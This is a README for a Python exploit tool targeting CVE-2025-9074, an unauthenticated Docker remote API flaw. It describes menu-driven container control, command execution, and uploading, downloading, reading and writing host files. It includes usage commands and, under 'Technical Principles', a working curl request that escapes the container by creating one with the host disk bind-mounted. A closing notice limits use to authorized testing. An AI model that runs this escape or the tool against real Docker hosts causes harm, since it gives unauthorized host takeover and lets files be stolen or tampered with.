# CVE-2025-9074 Docker Container Command Execution Tool

A powerful Docker remote API vulnerability exploitation tool for security research and testing related to the CVE-2025-9074 vulnerability. ## Key Features

✅ **Full-automatic container lifecycle management**: Automatically creates temporary containers and cleans up after operations without leaving traces.
✅ **Intelligent path handling**: Automatically identifies and converts Windows paths to Docker-mounted formats.
✅ **Full-automatic operation**: No need to manually enter complex commands; menu-style interaction allows one-click file operations.
✅ **Cross-platform compatibility**: Perfectly supports Windows and Linux systems.





## Features

- **Container Operations**
  - View running containers
  - View all containers (including stopped ones)
  - Create new containers
  - Stop containers
  - Delete containers
  - Execute single commands
  - Interactive terminal (requires the docker library)

- **Image Management**
  - View local images
  - Pull new images
  - Delete images

- **Host Machine File Operations**
  - Upload files to the host machine
  - Download files from the host machine
  - Read the content of host machine files
  - Write files to the host machine
  - Automatically handle Windows Docker Desktop path mapping





## Vulnerability Description

CVE-2025-9074 is a security vulnerability in the Docker remote API. Attackers can exploit this vulnerability by accessing the Docker API without authorization to:
- Execute arbitrary commands
- Create containers and mount host machine disks
- Achieve container escape
- Read/write host machine files





## Environment Requirements

- Python 3.6+

### Install Dependencies

Use `requirements.txt` to install all dependencies:

```bash
pip install -r requirements.txt
```

Or install manually:

```bash
pip install requests docker websocket-client
```

## Usage

### Basic Usage

```bash
python CVE-2025-9074-docker-exploit.py
```

### Command-Line Parameters

```bash
python CVE-2025-9074-docker-exploit.py [Options]

Options:
  -u, --url URL        Docker API URL (Default: http://192.168.65.7:2375)
  -c, --container-ID     Container ID
  -i, --interactive     Enter interactive terminal mode
  --shell SHELL        Shell command (Default: /bin/sh)
  -h, --help            Display help information
```

### Execute Single Command

```bash
python CVE-2025-9074-docker-exploit.py -c whoami
```

### Interactive Terminal

```bash
python CVE-2025-9074-docker-exploit.py -c -i
```

### Custom Docker API URL

```bash
python CVE-2025-9074-docker-exploit.py -u http://192.168.1.100:2375
```

## Detailed Features

### Container Operations

1. **View Running Containers**: Displays a list of all running containers.
2. **View All Containers**: Displays all containers (including those that are stopped).
3. **Create New Container**: Creates a new container using a specified image.
4. **Stop Containers**: Stops running containers.
5. **Delete Containers**: Deletes containers (can be forced to delete).
6. **Execute Single Command**: Executes a single command within a container.
7. **Interactive Terminal**: Access the interactive shell of a container.

### Image Management

1. **View Images**: Lists all local images.
2. **Pull Images**: Pull new images from Docker Hub.
3. **Delete Images**: Deletes local images.

### Host Machine File Operations

#### Upload Files to the Host Machine

```
1. Upload files to the host machine
Please enter the local file path: /path/to/local/file.txt
Please enter the target directory on the host machine: D:/temp
Please enter the file name (leave it blank to use the original name): 
```

#### Download Files from the Host Machine

```
2. Download files from the host machine
Please enter the path to the file on the host machine: D:/temp/file.txt
Please enter the local save path: /tmp
```

#### Read the Content of Host Machine Files

```
3. Read the content of host machine files
Please enter the path to the file on the host machine: D:/temp/file.txt
```

#### Write Files to the Host Machine

```
4. Write files to the host machine
Please enter the target directory on the host machine: D:/temp
Please enter the file content: Hello, World! ```

## Windows Docker Desktop Path Mapping

This tool automatically handles path mapping for Windows Docker Desktop:

| Windows Path | Docker Mount Path |
|--------------|-----------------|
| `D:`         | `/mnt/host/d`    |
| `D:\temp`    | `/mnt/host/d/temp` |
| `C:\Windows`  | `/mnt/host/c/Windows` |
| `C:\Users\test` | `/mnt/host/c/Users/test` |

Supported input formats:
- `D:` or `D:/`
- `D:\temp` or `D:/temp`
- `"D:\file.txt"` (enclosed)
- `'D:/file.txt'` (enclosed)

## Security Notes

⚠️ **Important Notice**:

1. **For Authorized Testing Only**: This tool is used solely for authorized security testing and educational purposes.
2. **Legal Compliance**: Ensure that you have explicit permission from the target system before using it.
3. **Isolated Environment**: It is recommended to use this tool in a isolated test environment.
4. **Permission Restrictions**: Windows Docker Desktop requires running as an administrator to write to the C drive.
5. **Do Not Abuse**: Using this tool without authorization may violate laws and regulations.

## Technical Principles

### Container Escape

Create a container through the Docker API and mount the host’s disk:

```bash
curl -X POST "http://:2375/containers/create" \
  -H "Content-Type: application/json" \
  -d '{
    "Image": "python:3.11.7",
    "Cmd": ["sleep", "999d"],
    "HostConfig": {
      "Binds": ["/mnt/host/d:/tmp"]
    },
    "Tty": true
  }'
```

### File Reading/Writing

Read and write host files by executing commands within the container:

```bash
# Write a file
echo "content" > /tmp/file.txt

# Read a file
cat /tmp/file.txt
```

## Troubleshooting

### Container Creation Failure (500 Error)

- Check whether the Docker API is accessible.
- Verify that the path format is correct.
- Confirm that the image exists.

### File Writing Failure

- Windows Docker Desktop requires running as an administrator.
- Check the permissions of the target directory.

### Unable to Start Interactive Terminal

- Make sure the docker library is installed: `pip install docker websocket-client`.
- Check whether the terminal supports interactive mode.
